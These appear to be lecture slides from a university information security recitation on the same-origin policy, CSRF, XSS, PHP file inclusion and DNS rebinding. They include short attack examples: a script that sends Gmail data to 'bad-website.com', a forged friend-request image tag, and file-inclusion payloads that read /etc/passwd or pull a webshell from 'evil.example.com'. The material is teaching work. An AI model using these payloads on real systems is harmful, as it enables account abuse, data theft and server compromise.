Introduction to InfoSec –

Recitation 10Nir Krakowski (nirkrako at post.tau.ac.il)Itamar Gilad (itamargi at post.tau.ac.il)

Today• XSS – Cross Site Scripting• SOP - Same origin policy• CSRF – Cross site request Forgery• PHP file inclusion vulnerabilities• DNS rebinding (if we have time)

Original Problem• Problem: • $.get("https://mail.google.com", function(data)

{ $.post(“https://bad-website.com”, {maildata: data}); });

• Solution: SOP• XMLHttpRequest cannot load

https://mail.google.com/. Origin https://bad-website.com is not allowed by Access-Control-Allow-Origin.

Same Origin Policy• Modern sites use elements from many

different sources (e.g.: main content, embedded ads, embedded google maps controls, embedded twitter feed, etc.)

• Without the SOP – we’d have to trust ALL that code

• With the SOP – interactions are limited by ‘origin’

• An origin is the combination of domain name and protocol type

SOP examplesCompared URL

Outcome Reason

httpː//www.example.com/dir/page.html

Success Same protocol and host

httpː//www.example.com/dir2/other.html

Success Same protocol and host

httpː//www.example.com:81/dir/other.html

FailureSame protocol and host but different port

https://www.example.com/dir/other.html

Failure Different protocol

http://en.example.com/dir/other.html

Failure Different host

http://example.com/dir/other.html Failure Different host (exact match required)

http://v2.www.example.com/dir/other.html

Failure Different host (exact match required)

httpː//www.example.com:80/dir/other.html

Don't use

Port explicit. Depends on implementation in browser.

Cross Site Request Forgery

• User goes to malicious site• Site initiates a request to a different site (e.g.: Gmail)• Request is sent using user’s credentials• Site accepts request, but due to SOP – the attacker

cannot read contents or state (‘blind’ attack)• …• Profit!• Psuedo example:• <img src=“https://www.facebook.com/add_as_friend?

user=evil_person” />

CSRF - Limitations• Cannot spoof referrer header (but few sites

check it)• Depends on a ‘GET’ request to cause side-

effects• Blind attack – if the attack depends on any

prior info, attacker has to guess• Attack must take place while the user is

logged in to the target site• Solution: Verification based on random

input.

XSS – Cross site scripting reloadeed

• Today, many sites just aggragate user-generated contento Forumso Facebook / Twitter / RedditoWeb mailo Ynet / nrg – ‘talkbacks’

• That’s great, but what happens if we trust user submitted content? On a website.

• A user can submit HTML code• Which can be malicious

How malicious are they?

• Once the malicious code runs in the context of the target site, it can do whatever the original site cano Steal javascript-accessible cookiesoUse any aspect of the site’s API• Write posts• Add friends• Delete all user content• Send out mass-email• E.g.: Sammy is my hero

Non persistent XSS• User clicks a link with extra parameters,

the server reflects it back, without proper sanitation

Persistent XSS• Malicious user submits content to the target

site viao Forum post / ‘talkback’ / FB post, twitter

posto E-mailo Etc.

• Content is not sanitized, and therefore – displayed to the user

• The user’s browser treats it as code from the target site, thereby bypassing the SOP

• …• Profit!

Questions?

PHP File Inclusion

Source: Wikipedia

PHP File Inclusion cont.

• /vulnerable.php?COLOR=C:\\ftp\\upload\\exploit - Executes code from an already uploaded file called exploit.php (local file inclusion vulnerability)

• /vulnerable.php?COLOR=C:\\notes.txt%00 - example using NULLs to remove the .phpsuffix, allowing access to files other than .php

• /vulnerable.php?COLOR=/etc/passwd%00 - allows an attacker to read the contents of the passwd file on a UNIX system directory traversal

• /vulnerable.php?COLOR=http://evil.example.com/webshell.txt?- injects a remotely hosted file containing a malicious code

DNS Rebinding CSRF• We’ll discuss a very specific example• Client has a home router, which we

want to access• We can get the client to browse to

attacker.com• But thanks for the SOP – JS code from

attacker.com cannot access the router other than blindly (CSRF)

Enter DNS Rebinding• The DNS for attacker.com returns two records:

o Our web server public addresso The requesting client’s address

• By default, a browser will use the first address, and download our malicious JavaScript

• That Javascript will make another request to attacker.com

• But this time – the server will refuse the connection

• The browser will happily try the next entry

DNS Rebinding cont.• But that’s the client’s home router public

address…• Which should be protected via a FW from

access…• But since most routers are configured with

interface-based rules, and have internal webservers that listen on 0.0.0.0:80 – it won’t matter – they will answer our client

• So now our JS code can connect to attacker.com and access the home router!

• And it can still connect back outside

DNS Rebinding doesn’t work anymore• Most routers will use HTTP-authentication• You used to be able to browse to:

http://user:password@192.168.1.1/• But it has been disabled. All HTTP auth now

requires a user dialog• Which makes the attack non-feasible• Also, there are some browser and network

mitigations one can do (DNS pinning, DNS filtering, NoScript, etc.)

Questions?